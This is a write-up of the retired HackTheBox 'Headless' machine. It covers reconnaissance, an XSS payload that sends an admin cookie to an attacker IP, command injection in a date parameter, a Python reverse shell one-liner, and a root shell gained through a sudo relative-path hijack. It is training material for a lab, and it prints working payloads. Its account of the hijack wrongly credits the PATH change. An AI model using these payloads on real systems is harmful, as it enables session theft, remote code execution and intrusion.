Headless HTB

HTB - Headless Write-Up

Easy Linux Web App HackTheBox
ctf web xss command-injection python path-hijack
01 /

Introduction

Headless is a retired machine on HackTheBox. The objective is to compromise the target and capture both the user and root flags.

Name Headless
Difficulty Easy
OS Linux
Type Web App

Let's dive into the challenge!

02 /

Reconnaissance

I started by adding the machine IP to /etc/hosts:

hosts setup
$ sudo echo '{MACHINE-IP} headless.htb' >> /etc/hosts

Then I ran a full NMAP scan to enumerate open ports:

nmap scan results
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-05 10:25 CEST
Nmap scan report for headless.htb (10.10.11.8)
Host is up (0.020s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/

Nmap done: 1 IP address (1 host up) scanned in 105.57 seconds

A Werkzeug app is running on port 5000. The NMAP scan already reveals an interesting is_admin cookie in the HTTP response headers.

Directory fuzzing with FFUF revealed two interesting endpoints:

ffuf - directory enumeration
/support    -> HTTP 200 OK
/dashboard  -> HTTP 500 (access denied without admin cookie)

Analyzing the /support page, the POST form also sends the is_admin cookie in the request headers. This hints at a potential XSS vector to steal an admin's cookie.

03 /

Getting a Shell

I fired up Burp Suite to intercept requests and started a Python HTTP server on port 8000 to catch the stolen cookie:

http server - cookie catcher
┌─[dawnl3ss@parrot]─[~/Neptune/Security/CTF/HTB/Headless]
└──╼ [★]$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Burp Suite request capture
// Burp Suite - intercepted /support request

I injected an XSS payload into the form via Burp Suite, targeting the User-Agent header to have it reflected back to the admin bot:

XSS payload
# Inject in User-Agent or form field:
<img src=x onerror=fetch('http://10.10.14.15:8000/'+document.cookie)>

The server callback came in almost immediately with the admin cookie:

stolen admin cookie
10.10.11.8 - - [30/Apr/2024 07:34:14] "GET /is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 404 -

Admin cookie obtained: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

I used Burp Suite to replay a request to /dashboard with the stolen cookie:

HTTP GET /dashboard - with stolen cookie
GET /dashboard HTTP/1.1
Host: headless.htb:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1
Burp Suite dashboard response
// Burp Suite - /dashboard response with admin cookie
Admin dashboard
// Headless - admin dashboard

The dashboard exposes a "Generate Report" feature. Analyzing the POST request, the date parameter is passed unsanitized to a shell command - classic command injection!

Command injection vector
// Burp Suite - date parameter command injection

Appending ;id after the date value confirms RCE - output shows we are running as user dvir.

RCE confirmation
// RCE confirmed - running as dvir

I escalated to a full reverse shell using a Python one-liner:

reverse shell payload (URL-encoded)
python3+-c+'import+socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.15",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("sh")'
Reverse shell trigger
// Burp Suite - reverse shell trigger via date parameter
netcat - reverse shell received
┌─[dawnl3ss@parrot]─[~/Neptune/Security/CTF/HTB/Headless]
└──╼ [★]$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.11.8] 50324
$ id
uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
dvir@headless:~/app$

dvir@headless:~/app$ cd ~ && cat user.txt
REDACTED

User flag captured! Shell obtained as dvir. Time to escalate to root.

04 /

Privilege Escalation

First step: check sudo permissions for the current user.

sudo -l
dvir@headless:~/app$ sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

dvir can execute /usr/bin/syscheck as root without a password. Let's inspect its source.

/usr/bin/syscheck - source code
dvir@headless:~/app$ cat /usr/bin/syscheck
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

The script calls ./initdb.sh using a relative path - meaning it looks for initdb.sh in whatever the current working directory is. By injecting /tmp at the front of $PATH and placing a malicious initdb.sh there, we can execute arbitrary code as root.

Let's exploit this PATH hijack:

PATH hijack - root shell
# Prepend /tmp to PATH so our script is found first
dvir@headless:~/app$ export PATH=/tmp:$PATH

# Move to /tmp and create the malicious initdb.sh
dvir@headless:~/app$ cd /tmp
dvir@headless:/tmp$ echo '/bin/bash -p' > initdb.sh
dvir@headless:/tmp$ chmod 777 initdb.sh

# Trigger syscheck as root from /tmp
dvir@headless:/tmp$ sudo syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average:  0.01, 0.05, 0.03
Database service is not running. Starting it...

# id
uid=0(root) gid=0(root) groups=0(root)

# cat /root/root.txt
REDACTED

Root flag captured! Box fully pwned via XSS -> Command Injection -> sudo PATH hijack. 💀